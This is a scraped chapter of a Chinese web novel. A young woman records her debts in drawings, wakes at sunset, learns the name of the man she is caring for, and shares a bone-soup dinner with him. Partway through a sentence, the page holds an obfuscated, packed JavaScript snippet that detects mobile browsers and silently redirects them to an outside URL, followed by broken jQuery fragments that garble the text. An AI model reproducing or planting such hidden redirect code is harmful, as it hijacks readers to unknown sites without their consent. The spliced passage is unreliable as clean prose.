默认冷灰
24号文字
方正启体

7. 日子

作者:冉彩彤本书字数:K更新时间:
    冯灵芝把被子铺好,坐在床边摸了摸。


    软的,暖的,跟她在布店摸到的时候一样。


    她坐了一会儿,又站起来,把被子掀开一角,看了看底下的褥子。褥子是她以前用过的,洗得发白了,可絮的还是棉花,压一压,还挺软和。她又把被子盖上,用手按了按,平整了,才放心。


    然后她起身去把竹篓里的东西一样一样拿出来。


    笔,纸,还有剩下的几块碎银子。


    她把纸摊在床板上,铺平了,用手掌压了压边角。笔握在手里,对着那张空白的纸,她忽然有点不知道从哪儿下笔。


    想了想,她低下头,一笔一划地写起来。


    第一个字是“鸡”。


    她写得很慢,一笔一顿的。那个“鸡”字她认得,可写起来总怕写错。左边的“又”写好了,右边的“鸟”写了两笔,又觉得不对。


    ……算了,还是画吧——圆脑袋、一个身子、两个翅膀……


    画完了,她对着纸上看了看,自己点了点头。还行,能认出来。


    她在“鸡”旁边画了两道杠。


    画完了,又在旁边写了个“骨”字——这个字她也会,是奶奶教她的,说骨头就是“骨”。


    骨头旁边,她也画了一道杠。


    接下来是“被”。


    她写了个“被”,笔尖顿了顿。


    这床被子她自己盖了,算不算?


    她想了想,把“被”字划掉了。划了一笔,觉得不够,又划了两笔,划得黑乎乎一团。


    算了,不记了。


    然后是鸡。


    鸡她也吃了。中午那顿饭,她喝了一碗汤,吃了两块肉。虽然是被那人逼着吃的,可到底还是吃了。


    那这鸡钱,该记多少?


    冯灵芝咬着笔杆,想了半天。


    她把“鸡”旁边的那道杠,涂掉了一半。涂得黑乎乎的,跟被子那个黑团挨在一起,看着有点丑。可意思到了就行,她知道那是“只记一半”的意思。


    骨头呢?


    骨头还没吃,晚上做汤。可照那位的性格,估计做好了,他又要分给自己吃。


    冯灵芝想了想,又把骨头旁边那道杠,也涂掉了一半。


    涂完了,她对着那张纸看了好一会儿,从头到尾看了一遍。


    鸡,一半。骨头,一半。被,划掉了。旁边还有几样零零碎碎的东西,她也一一记上。米多少钱,蜜饯多少钱,陶罐多少钱,布多少钱——布的后面她写了个“衣”,想着是给那人做衣裳用的,得单独记。


    记完了,她又看了一遍,自己点了点头。


    还行,挺清楚的。


    她只会几个字,都是小时候在私塾外头偷学的。那会儿奶奶还在,她每天上山打猪草,回来路过私塾,就趴在窗根底下听一会儿。听里面先生念“人之初,性本善”,听学生们扯着嗓子跟着读。她就用手指在地上划,一笔一划,跟着画。


    断断续续学了几年,认得一些,会写的没几个。不会写的就画,画得多了,她自己看得懂。


    这就够了。


    冯灵芝把纸折好,叠成一个小方块。又从灶台底下翻出个石头——那里有个小洞,是以前老鼠啃的,她一直用石头堵着。这会儿把石头搬开,把小方块塞进去,再把石头堵上。


    隐秘,还干净。


    忙完这些,她才觉出累来。


    昨儿睡得晚,半夜里郎中来了,她听了半宿的话。今儿又起得早,熬粥、喂饭、劈金子。上午还去镇上转了一大圈,背了那么沉一篓东西回来,走了那么远的路。


    她打了个哈欠,看了眼窗外。


    太阳还高着,离落山还早。


    她想了想,和衣躺下。


    就眯一会儿。眯一会儿就去山上,看看还能采点什么。秋天了,山上的菌子该落了,可说不定还能找到几株草药。柴胡、白及,能卖一点是一点。


    床板硬,可褥子是软的,被子是新的。她蜷了蜷身子,把那床新被子往上拉了拉,盖住肩膀。


    被子里有股新棉花的味儿,淡淡的,挺好闻的。


    她闭上眼。


    脑子里还转着些乱七八糟的。鸡多少钱,骨头多少钱,那人说“给你了就是你的”时候的眼神,还有那句“对你自己也好点啊”。


    转着转着,眼皮越来越沉。


    ……


    再睁开眼的时候,她愣了一下。


    窗外的光不对。


    她躺着没动,看着那扇破窗。阳光从破洞里透进来,落在地上,是一块一块的光斑。那些光斑的颜色变了,不是白晃晃的,是红红的,有点发黄。


    她猛地坐起来。


    往外瞧——太阳挂在西边,已经微微泛红了。


    冯灵芝呆了一呆。


    怎么就睡到这个时辰了?


    她掀开被子站起来,走到窗边,往外看。


    然后她停住了。


    院子里,那人正靠在墙上。


    背对着她,微微侧着头,像是在看远处。风从西边吹过来,吹起他的碎发,一下一下的。也吹起他的衣角,那件青灰色的外袍,被风吹得往后飘。


    他站在那儿,整个人被夕阳的光裹着。


    那光是金红色的,从西边斜斜地照过来,照在他身上,照在他脸上,照得他整个人都像是在发光。他靠在墙上,姿态懒懒的,可又说不出的好看。


    像幅画一样。


    冯灵芝看着,愣了好一会儿。


    她以前是不敢下午睡觉的。


    每次这个点醒来,看着要落山的太阳,心里头就空落落的。太阳一落,天就黑了。天一黑,这一天就过去了。过去的日子,再也回不来了。


    她就会想奶奶。想奶奶在的时候,这个点在干什么。是坐在门口择菜,还是在灶房里烧火。想奶奶走的那天,也是傍晚,太阳也是这样挂在西边,红红的。


    想自己一个人,以后怎么办。


    想着想着,眼眶就热了。


    可今天,她站在窗边,看着院子里那个人,心里头忽然觉得踏实。


    那种踏实说不上来。


    就像是……像是这样才对。像是这样才正常。


    过日子,就该是这样。


    有人在院子里站着,有人在窗边看着,太阳慢慢往下落,风吹着衣角。没什么特别的,可就是觉得踏实。


    她又在窗边站了一会儿。


    然后她推开门,走了出去。


    脚步声惊动了他。那人回过头来,看见是她,笑了笑,没说话。


    冯灵芝走过去,在他旁边站定。


    两人之间隔了不到两步的距离。她没看他,看着远处。他也没说话,顺着她的目光,也看着远处。


    风还在吹,吹得她头发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391776|200314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有点乱。她也没理,就那么站着。


    太阳又往下落了一点,快挨着山头了。


    她忽然开口。


    “你叫什么名字?”


    那人愣了一下。


    然后他笑了。这回笑得比刚才大些,眼睛弯弯的,像是听见了什么有意思的话。


    “我还以为,”他说,“直到走你都不会问我呢。”


    冯灵芝没说话。


    可她的脸有点热。她也不知道自己为什么会突然问这个。就是刚才那一会儿,站在窗边看着他,心里头忽然冒出来的念头——她想知道他叫什么。


    不是“少爷”,不是“那人”,是一个名字。


    那人收了笑,看着她,认真地说:“我单名一个逍字。”


    “逍?”


    “嗯。”他点点头,“走月逍。”


    走月逍。她心里默念了一遍。逍,逍遥的逍。她在私塾外头听过这个字,先生说,逍遥就是自在、快活的意思。


    她抬起头,看着他。


    他站在夕阳里,脸上还带着点笑意,眼睛亮亮的。


    “逍……”她顿了顿,“公子。”


    那人又笑了。这回笑得轻轻的,像是被风吹散的,可眼睛里有什么东西,好像比刚才更亮了。


    “叫我逍郎。”他说。


    冯灵芝愣住了。


    逍郎?


    她张了张嘴,那个字在舌尖打了个转,到底没叫出来。


    她低下头,转身往灶房走。


    “我去做骨头汤。”


    她走得快,没回头。


    可她知道,他还站在那儿,看着她的背影。


    灶房里,她把骨头拿出来,放进锅里,添上水,点火。


    火苗一蹿一蹿的,映在她脸上。她把锅盖盖上,坐在灶前的小板凳上,看着火。


    锅里的水慢慢热起来,发出咕嘟咕嘟的声音。


    她一边看着火,一边在心里又默念了一遍。


    逍。


    走月逍。


    还有那个……逍郎。


    她的脸又热了一下。


    ……


    晚饭是骨头汤。


    还是她炖的,还是坐在灶房门口一边看着汤一边看着药。汤炖好了,药煎好了,她把东西端进主屋。


    那张矮方桌还架着,没收。


    那人已经坐在木墩上了,见她进来,眼睛就亮起来。


    “好香。”他说。


    冯灵芝把碗放在桌上,一碗汤,两张饼,还有一小碟萝卜干。


    那人喝了一口汤,长出一口气。


    “太好喝了。”他说,“你怎么做什么都好吃?”


    冯灵芝低着头,没说话。


    他又咬了一口饼,嚼着说:“这个饼也比中午的还香。你是不是偷偷加了什么?”


    “没有。”她小声说。


    “那就是手艺好。”他笑嘻嘻的,“冯灵芝,你这手艺,真的能去京城开饭馆。”


    冯灵芝没忍住,嘴角弯了一下。


    他知道他是哄她开心。可那些话一句一句的,落在耳朵里,落在心里,把她心里那个空落落的地方,填得满满的。


    她低头喝了一口汤。


    她想,这一刻真好。


    有人夸她做的饭好吃,有人陪她一起吃饭,有人坐在对面跟她说话。


    真好。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)